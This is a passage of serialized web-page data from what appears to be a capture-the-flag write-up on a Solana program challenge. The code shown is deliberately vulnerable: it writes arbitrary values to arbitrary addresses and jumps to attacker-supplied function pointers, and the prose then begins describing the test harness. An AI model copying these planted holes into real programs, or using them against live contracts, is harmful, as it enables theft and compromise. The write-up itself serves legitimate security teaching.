val",{"type":23,"tag":134,"props":40271,"children":40272},{"style":168},[40273],{"type":28,"value":171},{"type":23,"tag":134,"props":40275,"children":40276},{"style":179},[40277],{"type":28,"value":40154},{"type":23,"tag":134,"props":40279,"children":40280},{"style":168},[40281],{"type":28,"value":660},{"type":23,"tag":134,"props":40283,"children":40284},{"style":179},[40285],{"type":28,"value":40163},{"type":23,"tag":134,"props":40287,"children":40288},{"style":168},[40289],{"type":28,"value":660},{"type":23,"tag":134,"props":40291,"children":40292},{"style":264},[40293],{"type":28,"value":40172},{"type":23,"tag":134,"props":40295,"children":40296},{"style":168},[40297],{"type":28,"value":660},{"type":23,"tag":134,"props":40299,"children":40300},{"style":179},[40301],{"type":28,"value":40181},{"type":23,"tag":134,"props":40303,"children":40304},{"style":597},[40305],{"type":28,"value":600},{"type":23,"tag":134,"props":40307,"children":40308},{"style":179},[40309],{"type":28,"value":16699},{"type":23,"tag":134,"props":40311,"children":40312},{"style":205},[40313],{"type":28,"value":1278},{"type":23,"tag":134,"props":40315,"children":40316},{"style":179},[40317],{"type":28,"value":22539},{"type":23,"tag":134,"props":40319,"children":40320},{"style":597},[40321],{"type":28,"value":7501},{"type":23,"tag":134,"props":40323,"children":40324},{"style":179},[40325],{"type":28,"value":7069},{"type":23,"tag":134,"props":40327,"children":40328},{"style":162},[40329],{"type":28,"value":892},{"type":23,"tag":134,"props":40331,"children":40332},{"style":179},[40333],{"type":28,"value":924},{"type":23,"tag":134,"props":40335,"children":40336},{"style":205},[40337],{"type":28,"value":1278},{"type":23,"tag":134,"props":40339,"children":40340},{"style":168},[40341],{"type":28,"value":213},{"type":23,"tag":134,"props":40343,"children":40344},{"style":205},[40345],{"type":28,"value":40346},"16",{"type":23,"tag":134,"props":40348,"children":40349},{"style":179},[40350],{"type":28,"value":14880},{"type":23,"tag":134,"props":40352,"children":40353},{"style":168},[40354],{"type":28,"value":720},{"type":23,"tag":134,"props":40356,"children":40357},{"style":264},[40358],{"type":28,"value":25653},{"type":23,"tag":134,"props":40360,"children":40361},{"style":179},[40362],{"type":28,"value":13347},{"type":23,"tag":134,"props":40364,"children":40365},{"style":168},[40366],{"type":28,"value":720},{"type":23,"tag":134,"props":40368,"children":40369},{"style":264},[40370],{"type":28,"value":851},{"type":23,"tag":134,"props":40372,"children":40373},{"style":179},[40374],{"type":28,"value":14894},{"type":23,"tag":134,"props":40376,"children":40377},{"class":136,"line":438},[40378,40383,40387,40392,40396,40400],{"type":23,"tag":134,"props":40379,"children":40380},{"style":162},[40381],{"type":28,"value":40382},"        ptr",{"type":23,"tag":134,"props":40384,"children":40385},{"style":168},[40386],{"type":28,"value":720},{"type":23,"tag":134,"props":40388,"children":40389},{"style":264},[40390],{"type":28,"value":40391},"write_volatile",{"type":23,"tag":134,"props":40393,"children":40394},{"style":179},[40395],{"type":28,"value":272},{"type":23,"tag":134,"props":40397,"children":40398},{"style":162},[40399],{"type":28,"value":12099},{"type":23,"tag":134,"props":40401,"children":40402},{"style":179},[40403],{"type":28,"value":1021},{"type":23,"tag":134,"props":40405,"children":40406},{"class":136,"line":466},[40407],{"type":23,"tag":134,"props":40408,"children":40409},{"style":179},[40410],{"type":28,"value":533},{"type":23,"tag":134,"props":40412,"children":40413},{"class":136,"line":479},[40414],{"type":23,"tag":134,"props":40415,"children":40416},{"style":179},[40417],{"type":28,"value":1098},{"type":23,"tag":4890,"props":40419,"children":40420},{"start":147},[40421],{"type":23,"tag":4894,"props":40422,"children":40423},{},[40424,40425,40431],{"type":28,"value":6938},{"type":23,"tag":92,"props":40426,"children":40428},{"className":40427},[],[40429],{"type":28,"value":40430},"data[0] == 1",{"type":28,"value":40432},", a CPI to a non-existent program is executed:",{"type":23,"tag":87,"props":40434,"children":40436},{"className":128,"code":40435,"language":127,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[40437],{"type":23,"tag":92,"props":40438,"children":40439},{"__ignoreMap":7},[40440,40447,40491,40516,40546,40586,40607,40614,40621,40633,40649,40661,40672,40691],{"type":23,"tag":134,"props":40441,"children":40442},{"class":136,"line":137},[40443],{"type":23,"tag":134,"props":40444,"children":40445},{"style":179},[40446],{"type":28,"value":40078},{"type":23,"tag":134,"props":40448,"children":40449},{"class":136,"line":147},[40450,40454,40458,40463,40467,40471,40475,40479,40483,40487],{"type":23,"tag":134,"props":40451,"children":40452},{"style":151},[40453],{"type":28,"value":13158},{"type":23,"tag":134,"props":40455,"children":40456},{"style":151},[40457],{"type":28,"value":13163},{"type":23,"tag":134,"props":40459,"children":40460},{"style":264},[40461],{"type":28,"value":40462}," call",{"type":23,"tag":134,"props":40464,"children":40465},{"style":179},[40466],{"type":28,"value":272},{"type":23,"tag":134,"props":40468,"children":40469},{"style":162},[40470],{"type":28,"value":892},{"type":23,"tag":134,"props":40472,"children":40473},{"style":168},[40474],{"type":28,"value":1697},{"type":23,"tag":134,"props":40476,"children":40477},{"style":168},[40478],{"type":28,"value":6599},{"type":23,"tag":134,"props":40480,"children":40481},{"style":179},[40482],{"type":28,"value":924},{"type":23,"tag":134,"props":40484,"children":40485},{"style":597},[40486],{"type":28,"value":600},{"type":23,"tag":134,"props":40488,"children":40489},{"style":179},[40490],{"type":28,"value":40123},{"type":23,"tag":134,"props":40492,"children":40493},{"class":136,"line":185},[40494,40498,40503,40507,40512],{"type":23,"tag":134,"props":40495,"children":40496},{"style":151},[40497],{"type":28,"value":154},{"type":23,"tag":134,"props":40499,"children":40500},{"style":162},[40501],{"type":28,"value":40502}," ix",{"type":23,"tag":134,"props":40504,"children":40505},{"style":168},[40506],{"type":28,"value":171},{"type":23,"tag":134,"props":40508,"children":40509},{"style":597},[40510],{"type":28,"value":40511}," Instruction",{"type":23,"tag":134,"props":40513,"children":40514},{"style":179},[40515],{"type":28,"value":463},{"type":23,"tag":134,"props":40517,"children":40518},{"class":136,"line":221},[40519,40524,40528,40533,40537,40542],{"type":23,"tag":134,"props":40520,"children":40521},{"style":162},[40522],{"type":28,"value":40523},"        program_id",{"type":23,"tag":134,"props":40525,"children":40526},{"style":168},[40527],{"type":28,"value":1697},{"type":23,"tag":134,"props":40529,"children":40530},{"style":264},[40531],{"type":28,"value":40532}," pubkey!",{"type":23,"tag":134,"props":40534,"children":40535},{"style":179},[40536],{"type":28,"value":272},{"type":23,"tag":134,"props":40538,"children":40539},{"style":1461},[40540],{"type":28,"value":40541},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":134,"props":40543,"children":40544},{"style":179},[40545],{"type":28,"value":6194},{"type":23,"tag":134,"props":40547,"children":40548},{"class":136,"line":332},[40549,40554,40558,40562,40566,40570,40574,40578,40582],{"type":23,"tag":134,"props":40550,"children":40551},{"style":162},[40552],{"type":28,"value":40553},"        data",{"type":23,"tag":134,"props":40555,"children":40556},{"style":168},[40557],{"type":28,"value":1697},{"type":23,"tag":134,"props":40559,"children":40560},{"style":162},[40561],{"type":28,"value":14573},{"type":23,"tag":134,"props":40563,"children":40564},{"style":168},[40565],{"type":28,"value":720},{"type":23,"tag":134,"props":40567,"children":40568},{"style":264},[40569],{"type":28,"value":25653},{"type":23,"tag":134,"props":40571,"children":40572},{"style":179},[40573],{"type":28,"value":13347},{"type":23,"tag":134,"props":40575,"children":40576},{"style":168},[40577],{"type":28,"value":720},{"type":23,"tag":134,"props":40579,"children":40580},{"style":264},[40581],{"type":28,"value":851},{"type":23,"tag":134,"props":40583,"children":40584},{"style":179},[40585],{"type":28,"value":670},{"type":23,"tag":134,"props":40587,"children":40588},{"class":136,"line":438},[40589,40594,40598,40602],{"type":23,"tag":134,"props":40590,"children":40591},{"style":162},[40592],{"type":28,"value":40593},"        accounts",{"type":23,"tag":134,"props":40595,"children":40596},{"style":168},[40597],{"type":28,"value":1697},{"type":23,"tag":134,"props":40599,"children":40600},{"style":264},[40601],{"type":28,"value":919},{"type":23,"tag":134,"props":40603,"children":40604},{"style":179},[40605],{"type":28,"value":40606},"[]\n",{"type":23,"tag":134,"props":40608,"children":40609},{"class":136,"line":466},[40610],{"type":23,"tag":134,"props":40611,"children":40612},{"style":179},[40613],{"type":28,"value":38495},{"type":23,"tag":134,"props":40615,"children":40616},{"class":136,"line":479},[40617],{"type":23,"tag":134,"props":40618,"children":40619},{"emptyLinePlaceholder":15},[40620],{"type":28,"value":865},{"type":23,"tag":134,"props":40622,"children":40623},{"class":136,"line":497},[40624,40629],{"type":23,"tag":134,"props":40625,"children":40626},{"style":264},[40627],{"type":28,"value":40628},"    invoke_signed_unchecked",{"type":23,"tag":134,"props":40630,"children":40631},{"style":179},[40632],{"type":28,"value":642},{"type":23,"tag":134,"props":40634,"children":40635},{"class":136,"line":518},[40636,40640,40645],{"type":23,"tag":134,"props":40637,"children":40638},{"style":168},[40639],{"type":28,"value":650},{"type":23,"tag":134,"props":40641,"children":40642},{"style":162},[40643],{"type":28,"value":40644},"ix",{"type":23,"tag":134,"props":40646,"children":40647},{"style":179},[40648],{"type":28,"value":687},{"type":23,"tag":134,"props":40650,"children":40651},{"class":136,"line":527},[40652,40656],{"type":23,"tag":134,"props":40653,"children":40654},{"style":168},[40655],{"type":28,"value":650},{"type":23,"tag":134,"props":40657,"children":40658},{"style":179},[40659],{"type":28,"value":40660},"[],\n",{"type":23,"tag":134,"props":40662,"children":40663},{"class":136,"line":780},[40664,40668],{"type":23,"tag":134,"props":40665,"children":40666},{"style":168},[40667],{"type":28,"value":650},{"type":23,"tag":134,"props":40669,"children":40670},{"style":179},[40671],{"type":28,"value":40660},{"type":23,"tag":134,"props":40673,"children":40674},{"class":136,"line":797},[40675,40679,40683,40687],{"type":23,"tag":134,"props":40676,"children":40677},{"style":179},[40678],{"type":28,"value":842},{"type":23,"tag":134,"props":40680,"children":40681},{"style":168},[40682],{"type":28,"value":720},{"type":23,"tag":134,"props":40684,"children":40685},{"style":264},[40686],{"type":28,"value":851},{"type":23,"tag":134,"props":40688,"children":40689},{"style":179},[40690],{"type":28,"value":856},{"type":23,"tag":134,"props":40692,"children":40693},{"class":136,"line":814},[40694],{"type":23,"tag":134,"props":40695,"children":40696},{"style":179},[40697],{"type":28,"value":1098},{"type":23,"tag":4890,"props":40699,"children":40700},{"start":185},[40701],{"type":23,"tag":4894,"props":40702,"children":40703},{},[40704,40706,40712],{"type":28,"value":40705},"Finally, if ",{"type":23,"tag":92,"props":40707,"children":40709},{"className":40708},[],[40710],{"type":28,"value":40711},"data[0]",{"type":28,"value":40713}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":87,"props":40715,"children":40717},{"className":128,"code":40716,"language":127,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[40718],{"type":23,"tag":92,"props":40719,"children":40720},{"__ignoreMap":7},[40721,40728,40776,40787,40907,41022,41041,41048,41083,41090,41209,41324,41343,41350],{"type":23,"tag":134,"props":40722,"children":40723},{"class":136,"line":137},[40724],{"type":23,"tag":134,"props":40725,"children":40726},{"style":179},[40727],{"type":28,"value":40078},{"type":23,"tag":134,"props":40729,"children":40730},{"class":136,"line":147},[40731,40735,40739,40744,40748,40752,40756,40760,40764,40768,40772],{"type":23,"tag":134,"props":40732,"children":40733},{"style":151},[40734],{"type":28,"value":13158},{"type":23,"tag":134,"props":40736,"children":40737},{"style":151},[40738],{"type":28,"value":13163},{"type":23,"tag":134,"props":40740,"children":40741},{"style":264},[40742],{"type":28,"value":40743}," process",{"type":23,"tag":134,"props":40745,"children":40746},{"style":179},[40747],{"type":28,"value":272},{"type":23,"tag":134,"props":40749,"children":40750},{"style":151},[40751],{"type":28,"value":914},{"type":23,"tag":134,"props":40753,"children":40754},{"style":162},[40755],{"type":28,"value":14573},{"type":23,"tag":134,"props":40757,"children":40758},{"style":168},[40759],{"type":28,"value":1697},{"type":23,"tag":134,"props":40761,"children":40762},{"style":168},[40763],{"type":28,"value":6599},{"type":23,"tag":134,"props":40765,"children":40766},{"style":179},[40767],{"type":28,"value":924},{"type":23,"tag":134,"props":40769,"children":40770},{"style":597},[40771],{"type":28,"value":600},{"type":23,"tag":134,"props":40773,"children":40774},{"style":179},[40775],{"type":28,"value":40123},{"type":23,"tag":134,"props":40777,"children":40778},{"class":136,"line":185},[40779,40783],{"type":23,"tag":134,"props":40780,"children":40781},{"style":151},[40782],{"type":28,"value":13301},{"type":23,"tag":134,"props":40784,"children":40785},{"style":179},[40786],{"type":28,"value":463},{"type":23,"tag":134,"props":40788,"children":40789},{"class":136,"line":221},[40790,40794,40798,40802,40806,40810,40814,40818,40822,40826,40830,40834,40838,40842,40846,40850,40854,40858,40863,40867,40871,40875,40879,40883,40887,40891,40895,40899,40903],{"type":23,"tag":134,"props":40791,"children":40792},{"style":151},[40793],{"type":28,"value":227},{"type":23,"tag":134,"props":40795,"children":40796},{"style":162},[40797],{"type":28,"value":13325},{"type":23,"tag":134,"props":40799,"children":40800},{"style":168},[40801],{"type":28,"value":171},{"type":23,"tag":134,"props":40803,"children":40804},{"style":179},[40805],{"type":28,"value":40154},{"type":23,"tag":134,"props":40807,"children":40808},{"style":168},[40809],{"type":28,"value":660},{"type":23,"tag":134,"props":40811,"children":40812},{"style":179},[40813],{"type":28,"value":40163},{"type":23,"tag":134,"props":40815,"children":40816},{"style":168},[40817],{"type":28,"value":660},{"type":23,"tag":134,"props":40819,"children":40820},{"style":264},[40821],{"type":28,"value":40172},{"type":23,"tag":134,"props":40823,"children":40824},{"style":168},[40825],{"type":28,"value":660},{"type":23,"tag":134,"props":40827,"children":40828},{"style":179},[40829],{"type":28,"value":40181},{"type":23,"tag":134,"props":40831,"children":40832},{"style":597},[40833],{"type":28,"value":600},{"type":23,"tag":134,"props":40835,"children":40836},{"style":179},[40837],{"type":28,"value":16699},{"type":23,"tag":134,"props":40839,"children":40840},{"style":205},[40841],{"type":28,"value":1278},{"type":23,"tag":134,"props":40843,"children":40844},{"style":179},[40845],{"type":28,"value":22539},{"type":23,"tag":134,"props":40847,"children":40848},{"style":151},[40849],{"type":28,"value":19744},{"type":23,"tag":134,"props":40851,"children":40852},{"style":179},[40853],{"type":28,"value":272},{"type":23,"tag":134,"props":40855,"children":40856},{"style":597},[40857],{"type":28,"value":7501},{"type":23,"tag":134,"props":40859,"children":40860},{"style":179},[40861],{"type":28,"value":40862},")>(",{"type":23,"tag":134,"props":40864,"children":40865},{"style":162},[40866],{"type":28,"value":892},{"type":23,"tag":134,"props":40868,"children":40869},{"style":179},[40870],{"type":28,"value":924},{"type":23,"tag":134,"props":40872,"children":40873},{"style":168},[40874],{"type":28,"value":213},{"type":23,"tag":134,"props":40876,"children":40877},{"style":205},[40878],{"type":28,"value":1278},{"type":23,"tag":134,"props":40880,"children":40881},{"style":179},[40882],{"type":28,"value":14880},{"type":23,"tag":134,"props":40884,"children":40885},{"style":168},[40886],{"type":28,"value":720},{"type":23,"tag":134,"props":40888,"children":40889},{"style":264},[40890],{"type":28,"value":25653},{"type":23,"tag":134,"props":40892,"children":40893},{"style":179},[40894],{"type":28,"value":13347},{"type":23,"tag":134,"props":40896,"children":40897},{"style":168},[40898],{"type":28,"value":720},{"type":23,"tag":134,"props":40900,"children":40901},{"style":264},[40902],{"type":28,"value":851},{"type":23,"tag":134,"props":40904,"children":40905},{"style":179},[40906],{"type":28,"value":14894},{"type":23,"tag":134,"props":40908,"children":40909},{"class":136,"line":332},[40910,40914,40918,40922,40926,40930,40934,40938,40942,40946,40950,40954,40958,40962,40966,40970,40974,40978,40982,40986,40990,40994,40998,41002,41006,41010,41014,41018],{"type":23,"tag":134,"props":40911,"children":40912},{"style":151},[40913],{"type":28,"value":227},{"type":23,"tag":134,"props":40915,"children":40916},{"style":162},[40917],{"type":28,"value":40269},{"type":23,"tag":134,"props":40919,"children":40920},{"style":168},[40921],{"type":28,"value":171},{"type":23,"tag":134,"props":40923,"children":40924},{"style":179},[40925],{"type":28,"value":40154},{"type":23,"tag":134,"props":40927,"children":40928},{"style":168},[40929],{"type":28,"value":660},{"type":23,"tag":134,"props":40931,"children":40932},{"style":179},[40933],{"type":28,"value":40163},{"type":23,"tag":134,"props":40935,"children":40936},{"style":168},[40937],{"type":28,"value":660},{"type":23,"tag":134,"props":40939,"children":40940},{"style":264},[40941],{"type":28,"value":40172},{"type":23,"tag":134,"props":40943,"children":40944},{"style":168},[40945],{"type":28,"value":660},{"type":23,"tag":134,"props":40947,"children":40948},{"style":179},[40949],{"type":28,"value":40181},{"type":23,"tag":134,"props":40951,"children":40952},{"style":597},[40953],{"type":28,"value":600},{"type":23,"tag":134,"props":40955,"children":40956},{"style":179},[40957],{"type":28,"value":16699},{"type":23,"tag":134,"props":40959,"children":40960},{"style":205},[40961],{"type":28,"value":1278},{"type":23,"tag":134,"props":40963,"children":40964},{"style":179},[40965],{"type":28,"value":22539},{"type":23,"tag":134,"props":40967,"children":40968},{"style":597},[40969],{"type":28,"value":7501},{"type":23,"tag":134,"props":40971,"children":40972},{"style":179},[40973],{"type":28,"value":7069},{"type":23,"tag":134,"props":40975,"children":40976},{"style":162},[40977],{"type":28,"value":892},{"type":23,"tag":134,"props":40979,"children":40980},{"style":179},[40981],{"type":28,"value":924},{"type":23,"tag":134,"props":40983,"children":40984},{"style":205},[40985],{"type":28,"value":1278},{"type":23,"tag":134,"props":40987,"children":40988},{"style":168},[40989],{"type":28,"value":213},{"type":23,"tag":134,"props":40991,"children":40992},{"style":205},[40993],{"type":28,"value":40346},{"type":23,"tag":134,"props":40995,"children":40996},{"style":179},[40997],{"type":28,"value":14880},{"type":23,"tag":134,"props":40999,"children":41000},{"style":168},[41001],{"type":28,"value":720},{"type":23,"tag":134,"props":41003,"children":41004},{"style":264},[41005],{"type":28,"value":25653},{"type":23,"tag":134,"props":41007,"children":41008},{"style":179},[41009],{"type":28,"value":13347},{"type":23,"tag":134,"props":41011,"children":41012},{"style":168},[41013],{"type":28,"value":720},{"type":23,"tag":134,"props":41015,"children":41016},{"style":264},[41017],{"type":28,"value":851},{"type":23,"tag":134,"props":41019,"children":41020},{"style":179},[41021],{"type":28,"value":14894},{"type":23,"tag":134,"props":41023,"children":41024},{"class":136,"line":438},[41025,41029,41033,41037],{"type":23,"tag":134,"props":41026,"children":41027},{"style":264},[41028],{"type":28,"value":40382},{"type":23,"tag":134,"props":41030,"children":41031},{"style":179},[41032],{"type":28,"value":272},{"type":23,"tag":134,"props":41034,"children":41035},{"style":162},[41036],{"type":28,"value":12099},{"type":23,"tag":134,"props":41038,"children":41039},{"style":179},[41040],{"type":28,"value":1021},{"type":23,"tag":134,"props":41042,"children":41043},{"class":136,"line":466},[41044],{"type":23,"tag":134,"props":41045,"children":41046},{"emptyLinePlaceholder":15},[41047],{"type":28,"value":865},{"type":23,"tag":134,"props":41049,"children":41050},{"class":136,"line":479},[41051,41055,41059,41063,41067,41071,41075,41079],{"type":23,"tag":134,"props":41052,"children":41053},{"style":162},[41054],{"type":28,"value":40553},{"type":23,"tag":134,"props":41056,"children":41057},{"style":168},[41058],{"type":28,"value":171},{"type":23,"tag":134,"props":41060,"children":41061},{"style":168},[41062],{"type":28,"value":6599},{"type":23,"tag":134,"props":41064,"children":41065},{"style":162},[41066],{"type":28,"value":892},{"type":23,"tag":134,"props":41068,"children":41069},{"style":179},[41070],{"type":28,"value":924},{"type":23,"tag":134,"props":41072,"children":41073},{"style":205},[41074],{"type":28,"value":40346},{"type":23,"tag":134,"props":41076,"children":41077},{"style":168},[41078],{"type":28,"value":213},{"type":23,"tag":134,"props":41080,"children":41081},{"style":179},[41082],{"type":28,"value":31069},{"type":23,"tag":134,"props":41084,"children":41085},{"class":136,"line":497},[41086],{"type":23,"tag":134,"props":41087,"children":41088},{"emptyLinePlaceholder":15},[41089],{"type":28,"value":865},{"type":23,"tag":134,"props":41091,"children":41092},{"class":136,"line":518},[41093,41097,41101,41105,41109,41113,41117,41121,41125,41129,41133,41137,41141,41145,41149,41153,41157,41161,41165,41169,41173,41177,41181,41185,41189,41193,41197,41201,41205],{"type":23,"tag":134,"props":41094,"children":41095},{"style":151},[41096],{"type":28,"value":227},{"type":23,"tag":134,"props":41098,"children":41099},{"style":162},[41100],{"type":28,"value":13325},{"type":23,"tag":134,"props":41102,"children":41103},{"style":168},[41104],{"type":28,"value":171},{"type":23,"tag":134,"props":41106,"children":41107},{"style":179},[41108],{"type":28,"value":40154},{"type":23,"tag":134,"props":41110,"children":41111},{"style":168},[41112],{"type":28,"value":660},{"type":23,"tag":134,"props":41114,"children":41115},{"style":179},[41116],{"type":28,"value":40163},{"type":23,"tag":134,"props":41118,"children":41119},{"style":168},[41120],{"type":28,"value":660},{"type":23,"tag":134,"props":41122,"children":41123},{"style":264},[41124],{"type":28,"value":40172},{"type":23,"tag":134,"props":41126,"children":41127},{"style":168},[41128],{"type":28,"value":660},{"type":23,"tag":134,"props":41130,"children":41131},{"style":179},[41132],{"type":28,"value":40181},{"type":23,"tag":134,"props":41134,"children":41135},{"style":597},[41136],{"type":28,"value":600},{"type":23,"tag":134,"props":41138,"children":41139},{"style":179},[41140],{"type":28,"value":16699},{"type":23,"tag":134,"props":41142,"children":41143},{"style":205},[41144],{"type":28,"value":1278},{"type":23,"tag":134,"props":41146,"children":41147},{"style":179},[41148],{"type":28,"value":22539},{"type":23,"tag":134,"props":41150,"children":41151},{"style":151},[41152],{"type":28,"value":19744},{"type":23,"tag":134,"props":41154,"children":41155},{"style":179},[41156],{"type":28,"value":272},{"type":23,"tag":134,"props":41158,"children":41159},{"style":597},[41160],{"type":28,"value":7501},{"type":23,"tag":134,"props":41162,"children":41163},{"style":179},[41164],{"type":28,"value":40862},{"type":23,"tag":134,"props":41166,"children":41167},{"style":162},[41168],{"type":28,"value":892},{"type":23,"tag":134,"props":41170,"children":41171},{"style":179},[41172],{"type":28,"value":924},{"type":23,"tag":134,"props":41174,"children":41175},{"style":168},[41176],{"type":28,"value":213},{"type":23,"tag":134,"props":41178,"children":41179},{"style":205},[41180],{"type":28,"value":1278},{"type":23,"tag":134,"props":41182,"children":41183},{"style":179},[41184],{"type":28,"value":14880},{"type":23,"tag":134,"props":41186,"children":41187},{"style":168},[41188],{"type":28,"value":720},{"type":23,"tag":134,"props":41190,"children":41191},{"style":264},[41192],{"type":28,"value":25653},{"type":23,"tag":134,"props":41194,"children":41195},{"style":179},[41196],{"type":28,"value":13347},{"type":23,"tag":134,"props":41198,"children":41199},{"style":168},[41200],{"type":28,"value":720},{"type":23,"tag":134,"props":41202,"children":41203},{"style":264},[41204],{"type":28,"value":851},{"type":23,"tag":134,"props":41206,"children":41207},{"style":179},[41208],{"type":28,"value":14894},{"type":23,"tag":134,"props":41210,"children":41211},{"class":136,"line":527},[41212,41216,41220,41224,41228,41232,41236,41240,41244,41248,41252,41256,41260,41264,41268,41272,41276,41280,41284,41288,41292,41296,41300,41304,41308,41312,41316,41320],{"type":23,"tag":134,"props":41213,"children":41214},{"style":151},[41215],{"type":28,"value":227},{"type":23,"tag":134,"props":41217,"children":41218},{"style":162},[41219],{"type":28,"value":40269},{"type":23,"tag":134,"props":41221,"children":41222},{"style":168},[41223],{"type":28,"value":171},{"type":23,"tag":134,"props":41225,"children":41226},{"style":179},[41227],{"type":28,"value":40154},{"type":23,"tag":134,"props":41229,"children":41230},{"style":168},[41231],{"type":28,"value":660},{"type":23,"tag":134,"props":41233,"children":41234},{"style":179},[41235],{"type":28,"value":40163},{"type":23,"tag":134,"props":41237,"children":41238},{"style":168},[41239],{"type":28,"value":660},{"type":23,"tag":134,"props":41241,"children":41242},{"style":264},[41243],{"type":28,"value":40172},{"type":23,"tag":134,"props":41245,"children":41246},{"style":168},[41247],{"type":28,"value":660},{"type":23,"tag":134,"props":41249,"children":41250},{"style":179},[41251],{"type":28,"value":40181},{"type":23,"tag":134,"props":41253,"children":41254},{"style":597},[41255],{"type":28,"value":600},{"type":23,"tag":134,"props":41257,"children":41258},{"style":179},[41259],{"type":28,"value":16699},{"type":23,"tag":134,"props":41261,"children":41262},{"style":205},[41263],{"type":28,"value":1278},{"type":23,"tag":134,"props":41265,"children":41266},{"style":179},[41267],{"type":28,"value":22539},{"type":23,"tag":134,"props":41269,"children":41270},{"style":597},[41271],{"type":28,"value":7501},{"type":23,"tag":134,"props":41273,"children":41274},{"style":179},[41275],{"type":28,"value":7069},{"type":23,"tag":134,"props":41277,"children":41278},{"style":162},[41279],{"type":28,"value":892},{"type":23,"tag":134,"props":41281,"children":41282},{"style":179},[41283],{"type":28,"value":924},{"type":23,"tag":134,"props":41285,"children":41286},{"style":205},[41287],{"type":28,"value":1278},{"type":23,"tag":134,"props":41289,"children":41290},{"style":168},[41291],{"type":28,"value":213},{"type":23,"tag":134,"props":41293,"children":41294},{"style":205},[41295],{"type":28,"value":40346},{"type":23,"tag":134,"props":41297,"children":41298},{"style":179},[41299],{"type":28,"value":14880},{"type":23,"tag":134,"props":41301,"children":41302},{"style":168},[41303],{"type":28,"value":720},{"type":23,"tag":134,"props":41305,"children":41306},{"style":264},[41307],{"type":28,"value":25653},{"type":23,"tag":134,"props":41309,"children":41310},{"style":179},[41311],{"type":28,"value":13347},{"type":23,"tag":134,"props":41313,"children":41314},{"style":168},[41315],{"type":28,"value":720},{"type":23,"tag":134,"props":41317,"children":41318},{"style":264},[41319],{"type":28,"value":851},{"type":23,"tag":134,"props":41321,"children":41322},{"style":179},[41323],{"type":28,"value":14894},{"type":23,"tag":134,"props":41325,"children":41326},{"class":136,"line":780},[41327,41331,41335,41339],{"type":23,"tag":134,"props":41328,"children":41329},{"style":264},[41330],{"type":28,"value":40382},{"type":23,"tag":134,"props":41332,"children":41333},{"style":179},[41334],{"type":28,"value":272},{"type":23,"tag":134,"props":41336,"children":41337},{"style":162},[41338],{"type":28,"value":12099},{"type":23,"tag":134,"props":41340,"children":41341},{"style":179},[41342],{"type":28,"value":1021},{"type":23,"tag":134,"props":41344,"children":41345},{"class":136,"line":797},[41346],{"type":23,"tag":134,"props":41347,"children":41348},{"style":179},[41349],{"type":28,"value":533},{"type":23,"tag":134,"props":41351,"children":41352},{"class":136,"line":814},[41353],{"type":23,"tag":134,"props":41354,"children":41355},{"style":179},[41356],{"type":28,"value":1098},{"type":23,"tag":9072,"props":41358,"children":41360},{"id":41359},"test-environment",[41361],{"type":28,"value":41362},"Test Environment",{"type":23,"tag":24,"props":41364,"children":41365},{},[41366],{"type":28,"value":41367},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":41369,"children":41370},{},[41371,41373,41379],{"type":28,"value":41372},"When you connect to the server through a tcp connection, ",{"type":23,"tag":92,"props":41374,"children":41376},{"className":41375},[],[41377],{"type":28,"value":41378},"framework/src/main.rs::handle_connection",{"type":28,"value":41380}," gets executed, which does the following:",{"type":23,"tag":4890,"props":41382,"children":41383},{},[41384],{"type":23,"tag":4894,"props":41385,"children":41386},{},[41387],{"type":28,"value":41388},"Creates a new Solana local node",{"type":23,"tag":87,"props":41390,"children":41392},{"className":128,"code":41391,"language":127,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[41393],{"type":23,"tag":92,"props":41394,"children":41395},{"__ignoreMap":7},[41396,41477,41553],{"type":23,"tag":134,"props":41397,"children":41398},{"class":136,"line":137},[41399,41403,41407,41412,41416,41421,41425,41430,41434,41439,41443,41448,41452,41456,41460,41465,41469,41473],{"type":23,"tag":134,"props":41400,"children":41401},{"style":151},[41402],{"type":28,"value":11254},{"type":23,"tag":134,"props":41404,"children":41405},{"style":151},[41406],{"type":28,"value":159},{"type":23,"tag":134,"props":41408,"children":41409},{"style":162},[41410],{"type":28,"value":41411}," builder",{"type":23,"tag":134,"props":41413,"children":41414},{"style":168},[41415],{"type":28,"value":171},{"type":23,"tag":134,"props":41417,"children":41418},{"style":597},[41419],{"type":28,"value":41420}," ChallengeBuilder",{"type":23,"tag":134,"props":41422,"children":41423},{"style":168},[41424],{"type":28,"value":660},{"type":23,"tag":134,"props":41426,"children":41427},{"style":264},[41428],{"type":28,"value":41429},"try_from",{"type":23,"tag":134,"props":41431,"children":41432},{"style":179},[41433],{"type":28,"value":272},{"type":23,"tag":134,"props":41435,"children":41436},{"style":162},[41437],{"type":28,"value":41438},"socket",{"type":23,"tag":134,"props":41440,"children":41441},{"style":168},[41442],{"type":28,"value":720},{"type":23,"tag":134,"props":41444,"children":41445},{"style":264},[41446],{"type":28,"value":41447},"try_clone",{"type":23,"tag":134,"props":41449,"children":41450},{"style":179},[41451],{"type":28,"value":13347},{"type":23,"tag":134,"props":41453,"children":41454},{"style":168},[41455],{"type":28,"value":720},{"type":23,"tag":134,"props":41457,"children":41458},{"style":264},[41459],{"type":28,"value":851},{"type":23,"tag":134,"props":41461,"children":41462},{"style":179},[41463],{"type":28,"value":41464},"())",{"type":23,"tag":134,"props":41466,"children":41467},{"style":168},[4